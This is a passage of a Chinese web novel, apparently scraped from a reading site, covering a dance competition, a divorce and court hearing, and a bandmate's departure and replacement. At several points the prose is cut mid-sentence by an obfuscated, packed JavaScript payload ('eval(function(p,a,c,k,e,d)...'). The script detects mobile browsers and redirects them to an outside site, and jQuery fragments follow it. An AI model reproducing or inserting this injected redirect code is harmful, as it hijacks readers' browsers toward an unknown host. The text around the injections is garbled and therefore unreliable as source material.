每一阵电流过后，音乐的旋律就改变一次，而余念的动作也变换了更多花样，有一次甚至以手臂作为孔，将自己的身体穿过去。 临近结尾的时候是一阵兹拉兹拉声，尖锐过后完全归为了平静。显示屏上的生命体征也变为一条直线，余念的整个身体松散地朝下倒去，灯光在此时暗了下来。 这个颇有创意的节目赢得了观众的满堂喝彩，然而评委的脸色却不是很好看。 “你的想法是好的，但是动作太多......太乱了......缺少美感。”资深的女舞蹈老师托着腮，一脸沉重地看着她。 几个人又耳语了一会儿，还是没有商量出个结果。 宋之雯索性上前：“老师，我们索性休息一会儿吧，下台喝口水。” 几个老师思考了一会儿同意了，转身离场。 余念就这么一个人站在等候区等着，阴影把她的整张脸都笼罩了，看不到一丝光亮。 过了大概半个小时，导师回来了，大家都期待着灯的亮起，但是没有一个人亮灯。 女舞蹈老师犹豫了好久，才叹着气说道：“待定吧。” 余念向他们鞠了一躬，从台上走下来，宋之雯刚想安慰她，她勉强地笑笑：“我没事，我还要去准备。” 一轮下来，待定区大概有累积了十个人，但复活名额只有一个。 选手全都换了新的造型，卯足了劲，要争夺这唯一的名额。 几位下来，评委的态度都很暧昧，不说好还是不好，要等全部选手跳完了再做决定。 余念已经把她的两根辫子并成一股，挽了一个髻，换了一条轻纱的白裙，里面是裤子。每次转圈，裙子下摆被裁成一条条的布条就会飞舞起来。 这次是她擅长的古典舞，每一个动作都是那么的优雅，看似轻巧，实际上力道都拿捏地恰到好处，绝不多一丝一毫。 朦胧的烟雾环绕着她，让她整个人仙气飘飘，如闲云野鹤。 这回女老师的眼里终于流露出了赞许的目光。 跳完之后她笑着问余念：“你明明可以靠古典舞就可以轻松取胜的，为什么偏偏要挑战自己不擅长的现代舞呢？” 余念“嗤”地一声笑了：“一直呆在同一个地方有什么意思呢？” “但是你有没有想过，没准未知的领域会让你跌落神坛。” “我知道，但是我很喜欢冒险，也不在乎最后的输赢怎么样。” “好，有骨气。”评委点点头，也没再说什么，让她下去了。 在最后宣布结果的时候，她如愿从评委口中听到了自己的名字，获胜者是“余念”。 台下她的粉丝都松了一口气，这一晚上对她们来说真是起起伏伏。 余念这两期的遭遇很快就被现场的观众发到了网上，为她鸣不平，愤怒的粉丝立刻攻陷了官博，质问是不是给了虐粉剧本。 导演不得不紧急出来澄清，说结果都是完全由导师决定的，他们完全没有插手。 粉丝本来还想在网上骂几句导师，被人提醒这样会影响余念后续的参赛，只能作罢了。 这期的录制结束之后，宋之雯和齐扬商议了一下，决定和凌兰一起去一趟齐晖的公司。 自从宋之雯发动同事帮凌兰的代购号宣传了之后，越来越多的媒体人开始向她买东西，用了以后都是好评，生意做得风生水起，也攒下了小小的一笔钱。 之前凌兰曾经几次打电话给齐晖，让他回家一趟，齐晖都是以工作忙为由推诿，凌兰干脆直接去公司抓人了。 三个人直接从地下车库上了电梯，在电梯里齐扬已经给前台打了电话，让她来二楼接。 电梯的门开了，前台急急忙忙地跑过来，一脸慌张：“不好意思啊，董事长在开会，今天不一定能见到他。” “没事，我们可以等。”齐扬径直往前走，“你去通知他一声，让他好好开会，我们就在他办公室等。” “啊......这......”前台犹豫了一下，“可是董事长办公室除了他自己和秘书，其他人不能随便进的。” “我们算是‘其他人’吗？”凌兰冷冷地看了她一眼，“自己的老婆来了，还有理由不见吗？” “那......我去告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐晖的表情这才严肃了点，挑了挑眉毛：“你是认真的？” “我们连律师都找好了，并且我告诉你，要是离了我肯定跟我妈，你带着你的公司一起滚蛋去吧。”齐扬上前一步。 “怎么跟你老子说话的？”齐晖暴怒，眼睛里流露出一丝狠意，“你们觉得.....你们有什么资格和我谈判？凌兰，你这些年都吃我的用我的，离了我你怎么生存？” “我也未必要靠你才能生存，现在我已经找到工作了。”凌兰嘲讽地笑了几声，“我就要你一个态度，你到底同不同意离婚？” “凌兰。”齐晖又重新靠近了她，“我们这么多年感情，岂是说离就离的？听话，等你气消了，明天想要多少钱和化妆品还是照旧。” “不好意思，这些我自己都有。”凌兰拉着齐扬走到门口，“既然你不同意，那只有走法律途径了。” 齐晖的脸也皱了起来：“我希望我们彼此之间不要闹得太难看。” “可是我们之间早就没有什么感情可言了。”凌兰一转身，头也不回地走了。 宋之雯听到动静，也跟了出去，走出了有好几米的时候，她才发现凌兰全身都在抖。 这时候一只手伸了出来，是齐扬，他轻声地说道：“妈，回家吧。” 65. 第六十五章 占有 “好，回家，回家。”凌兰失神地点头，眼睛里已经有了泪水。 齐扬稳稳地牵住她，就像牵小孩一样，把她送回了公寓里。 一回到家，凌兰就说头疼，要睡一觉。 两人看她是真的累了，也没敢打扰，就在客厅里商量后续的方案。 律师已经找好了，是舒青竹男朋友的老师，现在正在帮凌兰写民事诉状，准备递交法院。 这个家是万万不能呆了，凌兰已经和他们说好了明天就搬走回娘家。他们俩便帮方姨一起把要带走的东西打包。 当晚齐扬就在空荡荡的房间里对付了一晚，对着天花板直发呆，感觉这个房子熟悉又陌生。 好像他从未对它产生过感情一样。 为了防止齐晖找上门，第二天清晨，几个人就在方姨的带领下偷偷从后门出发。 凌兰重重地拥抱了一下方姨：“我带不走的东西留给你了，随便拿，要是新的雇主对你不好，你赶紧辞职找下一份工作。” 方姨的眼圈也红了：“太太，你是我见过最好的太太，这么多年我早就把你当成了自己的家人，答应我，今后为自己而活。” “好。”凌兰满含泪水地点头，最后再深情地看了一眼这个自己生活了二十多年的地方，然后头也不回地上了车。 还没到娘家，齐晖的电话就狂轰滥炸打了过来。 凌兰看也不看地挂掉。 随后两人便开始了漫长的拉锯战，凌兰向法院提起了离婚的诉讼，齐晖愿意接受调解，并要凌兰撤回诉讼，但凌兰的态度就一条，离婚。 法院的工作人员看调解无望，便答应开始走离婚流程。 宋之雯让凌兰好好搜集一下这些年感情不和的证据，交给律师，准备找个时间开庭。 安顿好了凌兰，齐扬和宋之雯重新飞回了B市，投入到了工作中。 齐扬这次接到了一档晚会的邀请，要他和杨千帆合唱，并且不带乐队，只有他一人。 齐扬虽然心中有疑问，但维持乐队的日常需要不少开销，因此只要有活就接。 晚会直播的那天，宋之雯打开了电视准时收看。 忍受了前面几个跑调破音的无聊节目之后，终于轮到了齐扬的出场，弹幕一片刷屏。 他今天穿了最简单的白衬衫配黑裤子，衬衫的最上面一颗扣子解开了，系了一条细长的领带。 杨千帆也配合着他穿了白色的圆领衬衫，下面配着黑色的热裤，脚蹬一双打满柳丁的马丁靴，马尾高高扎起，英姿飒爽。 他们合唱的是杨千帆自己创作的一首英文歌，讲了一对青年男女的爱情纠葛。 齐扬的咬字意外的舒服，不是那种一个词一个词蹦的生硬，而是行云流水地连读，与留过学的杨千帆不相上下。 两人设计了许多有巧思的小动作，比如先背靠背，再转过来面对着跳舞，齐扬不断走近，杨千帆随着他的舞步不断后退。 齐扬刻意把声音压得很低，就像在贴身耳语，看似漫不经心，实则充满蛊惑。而杨千帆也不甘示弱，大胆地正面凝视他的目光。 歌曲的结尾，杨千帆突然抓住齐扬的领带，把他拉到自己面前，灯光就在一瞬间熄灭。 宋之雯也跟着拍手。 很棒的演出。 她打开手机开始刷网上的评论，网友全都疯了。 @千帆过尽：啊啊啊姐姐好A，女A男O我爱了。 @红蜻蜓：这两人的张力绝了，配一脸，在一起在一起。 @代表月亮消灭你：说真的我今天才发现齐扬的实力这么强，乐队真把他耽误了，简直是一拖四，能不能单飞啊？ 没想到这条评论下面还有不少人在附和。 才过了一个小时，齐扬就回应了，放了他和杨千帆的视频，配上了一句颇有深意的话。 @晨星乐队-主唱齐扬：今天和乐队请个假，希望我的小伙伴不会怪我[微笑] 这态度已经很明确了，他是不会轻易离开乐队的。 评论下面大部分粉丝都是感叹他今天的表演好帅之类的，少部分坚持要他单飞的也被压下去了。 宋之雯关掉手机，突然觉得内心没来由的烦躁。 她有一次无意间撇到齐扬的私信，都是女粉丝发来的表白，有些内容还相当露骨。 尽管齐扬一再强调多关注他们的歌，少关注人，平时也叫粉丝过好自己的生活，但还是免不了这样的情况。 这个行业本来就是个名利场，诱惑太多了，以后会发生什么谁又知道呢？ 宋之雯正在沙发上发呆的时候，突然听到一阵密码开锁的声音，是齐扬回来了。 “你怎么了？给你发消息你也不回？”齐扬径直朝她走了过来，身上依旧穿着他那件表演的白色衬衫。 宋之雯打了个哈欠：“我好困，我要去睡了。” 齐扬抢先一步跨坐在了沙发上，强行按着她坐下来：“别想跑，不说出来不准睡觉。” 宋之雯盯着他好看的眉眼，很认真地说道：“齐扬，你见过那么多好看的姑娘，难道就没有心动的吗？” “想什么呢？”齐扬被气笑了，摇晃着她的肩膀，“人家千帆姐有男朋友的，是个外国帅哥，我们就是单纯音乐上的合作。不过千帆姐确实是个好的音乐人，和她合作很愉快。” “我是认真的......毕竟我也不算最好看的那个......” 齐扬一把揉乱了她的头发：“如果我要真的见到一个好看的就喜欢，那我高中早就接受余念了。” 宋之雯重新理了理被他弄乱的头发，抱着手臂陷入了沉思：“我也不知道怎么了，很难形容这种感觉，好像在一起久了就患得患失的。” “阿雯。”齐扬把她扳过来，正视着她，“人和人能在一起肯定是有原因的。我有想过如果我没遇见你，也有可能谈恋爱，但生活就是家、乐队、公司三点一线般无趣，只有遇见了你，我的生活才有趣起来。” 宋之雯笑了：“那我的生活已经不能用有趣来形容了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169044|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，简直是天翻地覆。” “所以不要怀疑正确的选择，坚持下去吧。”齐扬一把扯掉了领带，吻了下来，“你吃醋的样子真可爱。” 他的吻绵长而又温柔，宋之雯被他抵得深陷在沙发里，能感受到他结实的胸膛和有力的心跳。 宋之雯用手深深地环住他的脖颈，把他更加推向自己来回应这个吻。 时间就在这一刻停止吧，世界就算毁灭也不重要了。 为了打破单飞的传言，齐扬决定尽快开始筹备第三张专辑。 他先是搜集了最近华语和欧美流行音乐榜上排行前十的专辑和单曲，发到了乐队群里，让大家先认真听一下，总结一下热点。 周一的一大早上，乐队成员齐聚工作室，开始了第一次会议。 他们现在正面临着一个两难的问题，出了两张专辑了，曲风也类似，都以大众喜欢的抒情歌为主，是继续坚持原来的风格，还是寻求突破？ “我觉得还是接续上一张专辑的风格吧。”吴衡提议道，“上两张的曲风已经有了固定的受众，如果突然换风格，可能乐迷一时很难接受。” 齐扬皱紧了眉头：“但这样不是一直在重复吗？包括最近一些电视剧、广告公司和我约歌，也都是类似的曲风，我实在写烦了。” “那你把我们叫过来商量干嘛呢？直接按照你的想法来就好了。”吴衡不满。 “冷静，冷静。”何瑜伸手挡在了他面前，“我们现在是友好地讨论，不是吵架。” “想要突破没错，问题是怎么个突破法呢？我想听听。”叶琛问。 “来点电子音乐和现代科技的元素？”齐扬打开了电脑，“我正好写了段旋律，你们来听一听？” 所有人都围在了一起，这次的曲风很大胆，甚至说有点怪异，完全不按照流行歌的规整程度来，每隔一段就变换着旋律。 “嘶......”韦峰听完抽了一口气，“有点困难，我们的乐迷女生占了百分之六十，你确定小姑娘能听得懂？” “不要那么瞧不起我们女生好伐，我们又不是整天听情歌，也是有审美水平的。”何瑜忍不住叫屈。 “是，我知道这样的曲风可能不符合乐迷的听感，但还是想试试。”齐扬坚持道。 “齐扬，我老早就想说你了，你还没搞清楚做专辑最重要的是什么？是赚钱！”吴衡挣开了何瑜的手臂，“科幻之前有人做过啊，《西界》不就是个最好的例子吗？可是这张专辑刚推出的时候认可度高吗？人家林俊杰现在还不是唱情歌去了。” “如果真的是为了赚钱，那也不要当音乐人了，直接当商人得了。”何瑜使劲瞪了他一眼，“有多少好音乐却不赚钱的例子。” “还有歌手哪能保证每一张专辑都好呢？尝试也没有错。”叶琛在旁边补充道。 “行吧，我不说了。”吴衡抬手，一屁股坐到了沙发上，“你要是真想做，记得提前和林哥打声招呼，万一赔了还能兜底。” 气氛一时间有点尴尬。 66. 第六十六章 单飞 “消消气，消消气。”何瑜拍了拍吴衡的背，“你先坐着平静一下，叶琛说得对，我们可以先试试，试了不行再说嘛。” 她走了过去，几个人围着齐扬的电脑开始讨论。 齐扬又点开了一张图，介绍专辑的概念，他将新专辑命名为《解构》，意味着肢解之前的内容，迎来重塑。 难度无疑是显而易见的，连带着拍MV的成本也会升高，不过他越说其他几个人越兴奋，迫不及待地想大干一场。 但为了保险起见，他们还是制定了方案二，这个方案就比较大众了，主打青涩少年从校园到社会的成长。 韦峰打电话给卢林，和他说了这两个方案，卢林毫不犹豫地肯定了第二个，并警告他们收着点，别玩太大了。 齐扬在电话里满口答应，但卢林知道，他私下不知道在捣鼓什么东西。 整个过程吴衡都坐在那里一言不发，没有参与。 直到他们分配好了任务要走了，齐扬和他说了一声“我真走了啊”，吴衡才冷淡地点了个头。 看来是真的生气了。 以往他们有过无数次吵架，但每次都能自己调整过来，所以这回齐扬也打算给吴衡一些调整的时间。 所有人都走得差不多了，最后只剩下了何瑜和吴衡两个人。 “别生气了，和齐扬这么多年朋友了，你又不是不知道他的脾气。”何瑜轻声安慰道，“说话都带刺的。” “我知道，所以我也不打算计较了。”吴衡说着站起身。 何瑜试着去拉他：“去喝一杯吧，放松一下心情？” 吴衡的嘴角露出一丝冷笑：“又要带我去认识你那些朋友？” “我交些朋友不是很正常的吗？倒是你，这么多年了连个女朋友都没有，听我一句劝，找一个吧，也不至于那么无聊。” 吴衡一把反扣住了她的手腕，将她抵在了墙上，急促的呼吸声扫过她的脸颊。 纵然见过无数大场面的何瑜，这次也被他搞慌了，声音发抖地问：“你想干什么？” “你知道我想干什么的。”吴衡的脸继续贴近，嘴唇几乎快要碰上她的，“我在你身边这么多年，你难道没发现我爱你吗？” “你疯了。”何瑜用尽全力喊道。 “我没疯，你知道每次你在那些狐朋狗友间游走，每次把男朋友带回来的时候，我有多嫉妒吗？恨不得把他们生吞了。可是每次我总是考虑到乐队的未来，怕你离开我。”吴衡手臂的力道越来越收紧，捏得何瑜都吃痛，“现在我不想忍了。” 下一秒他的嘴唇就贴了上来，带着吓人的滚烫温度。可是刚贴上去，就被何瑜一把推开。 吴衡愣愣地看着何瑜，像个无助的孩子，眼泪断了线地落下：“你有喜欢过我吗？告诉我，我到底那里不好了？” 何瑜久久地看着他，半晌才叹了一口气：“你太幼稚了，在我的眼里你们都是小孩。” 吴衡抓过她的手放在了自己胸口：“你睁大眼睛好好看看，我现在已经二十六岁了，是个成年男人，不再是那个乳臭未干的小毛孩了，你什么时候把我当大人看待过？” 何瑜还是轻轻地把手抽了回来，声音也哽咽了，不住地说道：“对不起，对不起......” 吴衡绷着脸，略过她大步跑了出去。 “吴衡！”何瑜在背后喊了一声。 吴衡跑得更快了，再也没有回头。 何瑜的手垂了下来，无助地摇摇头。 第二天，卢林就接到了吴衡的解约申请。 “你疯了？”他当场拍桌子站了起来。 没想到吴衡冷静地看着他：“我没疯，这是我经过深思熟虑后的决定。” “这怎么行？你有没有想过你走了之后乐队怎么办？你们的专辑才刚开始呢，就丢下烂摊子不管了？”卢林气急败坏地按了几个数字，“不行，我要把他们都找来，绝对不能让你意气用事。” 很快一群人都乌泱泱地赶来了，连带着宋之雯都来了，把吴衡团团围住，局面很像三堂会审。 “到底怎么回事？昨天刚吵了一架，今天就要解约？你什么时候这么意气用事了？”齐扬第一个发问。 吴衡反唇相讥：“和你们有矛盾，在这里呆不下去了呗。” 齐扬刚要继续说，何瑜伸手拦住了他：“都别说了，是我的问题，你们让他走吧。” 所有人都愣住了，看到何瑜的眼神，他们似乎明白了什么。 吴衡喜欢何瑜是大家都知道的事实，本以为他会把这个秘密一直烂在肚子里，因为他们本就是完全不同的两个人，没想到矛盾还是有爆发的一天。 “吴衡……”宋之雯轻声试探道，“你忘了当初大家为乐队所做的努力了吗？就忍心这么走了？” 吴衡看着她，眼神被触动了一下，语气也缓和了，“我只是有点累了，需要一段时间静一静。” “还有......”他继续说道，“在乐队里我总觉得自己是个无关痛痒的配角，所有的关注点都在齐扬身上，台下大多喊的也是齐扬的名字。” “你这说的什么话，你很重要，我们乐队少了谁都不行。”韦峰的声音也激动了。 但齐扬却没来由的心虚。 吴衡说得没错，一个乐队不可避免的主唱是受到最多关注的，从他的粉丝量也可以看出遥遥领先其他人，其他人即使有一定粉丝群体，跟他也没法比。 可是他们乐队的每个人单拎出来都不差的，完全可以在任何领域发光发热。 “行。”齐扬认命地点点头，“你既然觉得有这个才华，那就去闯一闯，试一试。” 叶琛还想再劝说些什么的时候，何瑜打断了他：“让他去吧，他一旦决定的事不会改变的，也许只有看过外面的世界，才能明白自己真正想要的是什么。” “解约吧。”吴衡转过头去，用眼神示意卢林。 卢林彻底败下阵来，没脾气地给公司负责人打电话。 打了十多分钟之后，他才用打印机打出了一份文件，推到了吴衡面前：“这是解约合同，算你走运，看在乐队其他成员的面子上没收你违约金。在上面签个字，然后把各种材料拿走。” 吴衡刷刷就在上面签好了字，把各种材料放在档案袋里，和卢林道了谢。 临走之前，他特意走过齐扬身边，手重重扶了一下他的肩膀：“好心奉劝一句，改改你这狗脾气，除了在场的人有谁受得了你的？” 齐扬倒是不生气，礼貌地回复：“谢谢你的忠告。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169045|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 吴衡的手滑落了下去，头也不回地走了。 他走了之后，只剩下会议室的人大眼瞪小眼。 平时吴衡一直都是大家的开心果，他所在的地方永远都吵吵闹闹的，这一下子安静下来了还有点不习惯。 齐扬有点失神地坐下来：“我在想......是不是我真的做错了。” 宋之雯摸着他的头安抚他：“这矛盾积怨已久了，不是一天两天，也不是一个人造成的，你不要怪自己。” “是啊，要怪也怪我，我是直接原因。”何瑜抢着接话。 “你们别在这儿伤春悲秋了，现在关键问题是接下来晨星乐队少了个贝斯手怎么办？”卢林面色凝重地看着他们。 “当然是招募一个新的了。”何瑜扬起头，“怕什么？这地球离了吴衡一个人还转不了了？” “那我明天就叫人发布公告。”卢林长长地叹了一口气，看来今天晚上公关又要加班了。 第二天一大早，吴衡宣布从晨星乐队单飞的消息瞬间引爆了网络，并且借此机会还推出了他的首支单曲，明摆着是和晨星乐队叫板。 一时间舆论纷纷猜测，有人说他和齐扬不和的，有人说他嫌公司的分成太少了，更有离谱的说他和齐扬喜欢同一个女生反目成仇的。 少部分吴衡的粉丝在狂欢，因为在他们看来，吴衡的脸蛋不输齐扬。但大部分人担心的是，晨星乐队会不会就此解散了。 晨星乐队后脚就发了声明，说吴衡只是有事暂时离开，目前需要招募新的贝斯手，欢迎弹奏技术好，喜欢晨星乐队曲风的音乐人来交流。 齐扬其实更担心的是，吴衡会不会借此机会把粉丝名称改了。 为了避免吵架，五个人都是用统一的粉丝名，乐队叫“晨星”，粉丝就叫“星辰”。如果他这样一改，几个人的粉丝都要吵着改。 还好，等到第二天吴衡的后援会都没有要动粉丝名的意思。 还保留了最后的一丝体面。 接下来就是为了选贝斯手的事情焦头烂额了。 齐扬首选的就是要技术好的，这样才能适应第三张专辑的编曲需求，因此要求非常的高，几乎到了吹毛求疵的地步。 许多三脚猫功夫的人本来以为这是一个能攀上晨星乐队的机会，最后都败下阵来。 好不容易有几个技术符合要求的，结果私德又不行，练完琴就去酒吧把妹厮混，每天带不同的女人回家。 这些都被齐扬一一否决了，关键时刻，乐队不能再出任何问题了。 宋之雯肉眼看着齐扬这段时间瘦了很多，有点心疼：“倒也不用要求立刻就找到合适的搭档，你们当初不也磨合了挺久的吗？” “说的也是。”齐扬揉揉太阳穴，感觉到很头疼。 这个时候电话响了，他看见来电显示上是郭卫，接了起来，语气很随意地问：“喂，什么事？” “哥们，我知道你最近不是为选贝斯手发愁吗？我这儿倒是有一个合适的人选。” “谁？”齐扬一下子来了精神。 “是我朋友，不过嘛......” “不过什么？”齐扬有点不耐烦，“有话快说，别说一半。” “他不太喜欢与人交流。” 67. 第六十七章 重组 “正常。”齐扬微微点头，“我了解一些乐手，他们的世界里只有练琴，不过眼下管不了那么多了，你什么时候把他带过来？” “这个嘛......”郭卫有点为难，“好多人找他伴奏呢，你还是亲自去拜访他比较好。” 齐扬明白这个道理，好的人才就得靠“请”，跟当年刘备三顾茅庐一样。 他立刻问郭卫：“他住哪里你知道吗？带我去一趟吧。” 贝斯手名叫巴顺，B市当地人，很早就不读书出来弹琴，凭借高超的技术让各大乐队抛出了橄榄枝。但他一直是有活就接，从不固定在一个乐队，这几年下来也是赚得盆满钵满，在郊区买了栋小别墅。 他所在的这个地段是新小区，外墙被米黄色的油漆刷得干净清爽，锃亮的玻璃在阳光下反着光。走进家门也可以看到擦得干干净净的瓷砖，可见主人的用心。 齐扬和郭卫继续往里走，隐约听到有琴声传来，在种满了鲜花的阳台上，琴的主人正插着电弹着贝斯，陶醉其中。 “老巴。”郭卫扯着嗓子嚎了一声，“有客人来了。” 巴顺转过头，他留着一头长发，因为发质又粗又硬显得两边炸毛，嘴角一圈络腮胡，一脸茫然地问：“什么事？” “新活来了，我朋友，知名乐队主唱，现在乐队急缺贝斯手。”郭卫拍了拍齐扬的胸口。 “哦，这个公告我几天前看到了。”巴顿翻箱倒柜找出了一盒陈年茶叶给他们沏上，似笑非笑地说，“聊聊？” 齐扬和他面对面坐了下来，巴顺不紧不慢地抿了一口茶，问道：“说吧，你的乐队是什么风格的？” 齐扬早就有备而来，拿出平板开始展示他们最新的几首歌：“我们主要还是以流行为主，当然最近想换一换风格，玩一玩电子音乐。” “电子音乐也分好多种，你们想要什么风格的？” “要有点金属感和割裂感，因为是关于虚拟世界的。” “我随便弹一段行吗？” “可以可以，你自由发挥就行，不用太拘束。”齐扬做了个“请”的手势。 巴顺的手灵活地拨弄了几下琴弦，一阵刺激人耳膜的电流刺啦声闪过。他放下了琴：“是这个感觉吗？” “对对对，太对了。”齐扬连忙拍手，“你就是我们乐队要找的人，请加入我们乐队吧。” 巴顺拿出了一本本子，一页页地翻着，漫不经心地说：“可是我的档期已经快约满了。” “我可以给你双倍的报酬。”齐扬撑着桌子站了起来。 郭卫也在一旁劝说道：“老巴，看在朋友的面子上，你就答应帮这个忙吧，不然他们乐队也快经营不下去了，你最清楚乐队不能没有贝斯的。” 巴顺不说话，只是喝着茶，等茶杯都快见底了，他才下定决心说道：“行，那我就推掉我原有的工作帮你这个忙，不过我有几点条件。” “你说。”齐扬答道。 “第一，我只是乐队的临时工，并不是正式成员，所以你也不必给我多的报酬，按照临时工给就好。” “好的。”齐扬点头。 “第二，我需要有一间独立的房间练琴和创作，并且练琴时不能有人打扰。” “这个简单。”齐扬欣然应允，“我们工作室的设计就是一个大厅加许多独立的小房间。平时除了必要的开会外，大家都在房间里进行创作。” 巴顺的脸色有点放松下来：“那我再说最后一点，我没像你们认识那么久，都是按照我自己的理解弹，如果和你有想法不和的地方请谅解。” “当然，我们可以商榷嘛。”齐扬朝他抬了抬下巴。 “那我就明天来你们工作室报道，几点？你给个时间吧。” “十点吧，你慢慢来，不用太早。”齐扬的脸上露出狡黠的神色，“平时我们都是一觉睡到中午的。” “行。”巴顺答应了下来，转头又对郭卫说，“把他微信和工作室地址推一下我吧，不用我送了吧？” “不用不用。”郭卫连连摆手，和齐扬一起出了门。 走出了很远，郭卫才对齐扬说道：“他的个性就那样，对谁都很冷漠，也跟人不亲近，因此丢了不少活，靠着专业能力才没饿死。不过他人不坏的，我老劝他改改他那毛病，可是改不了。” “我在这个圈子久了就能感觉到，学音乐的嘛，多多少少有点个性。”齐扬不在意地笑了笑，毕竟是自己有求于人家。 第二天，巴顺果然准时来报到了，他依旧是脸没洗的样子，身上一件已经发白的牛仔衫和破洞牛仔裤。 虽然齐扬之前就提醒了乐队成员他的个性，不过何瑜、叶琛和韦峰还是被他的犀利哥造型震撼到了，发出了“哇”的一声。 齐扬用眼神警告了他们，让巴顺展示了一段solo，所有人都不得不折服。 简短的自我介绍后大家就开工。说明齐扬已经写好，大意是在未来世界里，所有的空间都被分割成一块一块的，连带着人的灵魂、身体也被分成各个部分散落在各处，因此概念图就是一个被分解的白色模特。 “主打歌的歌词和旋律我们已经写好了。”齐扬把电脑展示给巴顺看，“现在就差编曲了，我可以给你放一遍，你加入贝斯试试。” 巴顺很安静地听着，弹出了几个旋律，齐扬又给了他一些建议，他再修改。 大家很快发现了气氛莫名其妙有点沉闷，往常吴衡在的时候，成员们往往是据理力争，碰撞出思维的火花。而这位虽然技术高超，但一旦问他什么建议的时候，他总会说都行，你们定，好像是把他们当成没有感情的甲方。 第一天刚刚上手，齐扬也没有给他安排很重的工作，只是让他把曲子在熟悉熟悉，试着自己制作，这样很快就到了中午。 何瑜很热情地走到他面前：“你第一天来，和我们一起去吃饭吧，就当是欢迎你。我知道附近有家餐厅可好吃了，吃完带你熟悉熟悉周边。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后的双人舞，仙鹤毫不犹豫地用自己的羽翼托举起少女，重获自由的少女在空中轻柔地舞动着双臂，像雪中盛开的红莲。 两人不断地旋转、拥抱，好一段痴缠。 表演结束之后，连老师都忍不住带头鼓掌，场上的观众也回报以热烈的掌声。 紧接着就是三盏灯陆续为他们亮起，就连前两期对余念挑刺最多的那位老师，此刻也毫不犹豫地亮灯。 宋之雯看着观众的投票数也飞速可见地上涨，很快超过了其他选手，来到了全场的最高分。 余念的脸上终于露出了这几期难得一见的笑容。 那位学院派的老师慈爱地看着她：“我要恭喜你，你终于找对适合自己的风格了。” “不。”余念纠正道，“我相信我有这个实力，跳任何舞都是如此，我不会放弃继续努力。” 68. 第六十八章 庭审 这个发言一出，全场哗然。 虽然余念的舞确实很令人信服，但说话这么直接，未免有点不尊重导师的意思。 不过那位老师也没有计较：“那就祝你下一赛段取得更好的成绩。” 节目一结束，就有人发布了录制感想到网上，关于余念的这句话在网上引起了很大争议。有人说她这是有实力有底气，也有人说她这是太自大，目中无人。 关于录制感想，只要不涉及到过多的剧透，节目组一般都睁一只眼闭一只眼，毕竟这波也给节目带来了不少热度，#舞出我人生#的词条连续几天都排名第一。 就在这时，齐扬告诉宋之雯，凌兰开庭的日子定了。 宋之雯特意和同事调了班，休假在家，帮凌兰一遍又一遍地捋陈词。听说齐晖这边也是专业的律师团队，因此开篇的陈词显得尤为重要，直接会影响法官的判断。 她的神经一刻也不敢放松，有一种学生时代自己参加辩论赛的紧张感。 开庭的那天天灰蒙蒙的，下着小雨，凌兰身着黑色套裙，稳重中带着干练，棕色的挎包里是一大早就准备好的开庭资料。 庭审采取的是不公开审理的形式，因此齐扬和宋之雯都穿着低调，戴着口罩撑着伞，护送着凌兰从侧门进去。 法庭就一个办公室的大小，在里面凌兰见到了许久不见的齐晖，他也穿戴整齐，看起来精神不错。 凌兰没有理会他，拉着齐扬和宋之雯坐在了原告席上。 法官是一位年轻的女人，简要交代了一下案件情况，然后就请原告进行陈述。 凌兰站了起来，她的表情异常的冷静：“尊敬的法官，我是本案原告，今天在这里正式提出与被告的离婚申请。我与被告相识于学生时代，共同熬过了艰难的日子，但是时过境迁，我们的感情已经不如从前并且无法修复，为此我已经收集了充分的证据，下面展示。” 接下来凌兰一条一条展示着齐晖这些年的罪状，包括缺席齐扬的成长过程，结婚后冷暴力，一年回不了几次家，甚至还带来了一段录音。 录音里男人和女人言语暧昧，简直让人不忍再听。 宋之雯有点惊讶，没想到凌兰还留了一手，悄悄地问齐扬：“录音什么时候拿到的？” 齐扬露出了胜利的微笑：“就去公司的那天从他的通话记录里扒下来的。” 齐晖的脸色瞬间变了，红一阵白一阵，最后才痛心疾首地问道：“凌兰，我们这么多年感情了，你一定要做得这么绝吗？” 凌兰装作没听到，转向法官：“我的陈述完了。” 法官重重地敲了一下桌子：“请被告进行答辩，不要吵架。” 齐晖重新整理了一下心情，面色又恢复了往常：“是，被告说的这些，我都承认，但是有一点我要重新陈述一下。这么多年，被告的一切吃穿用度，包括孩子的抚养费都是我出的，我已经尽到了一个丈夫和一个父亲的抚养义务，没有对不起任何人。” “你给我的这些钱，有一部分我已经整理好，等结束之后通过公司账户转你，这样我们就两不相欠了。”凌兰冷冷地答道。 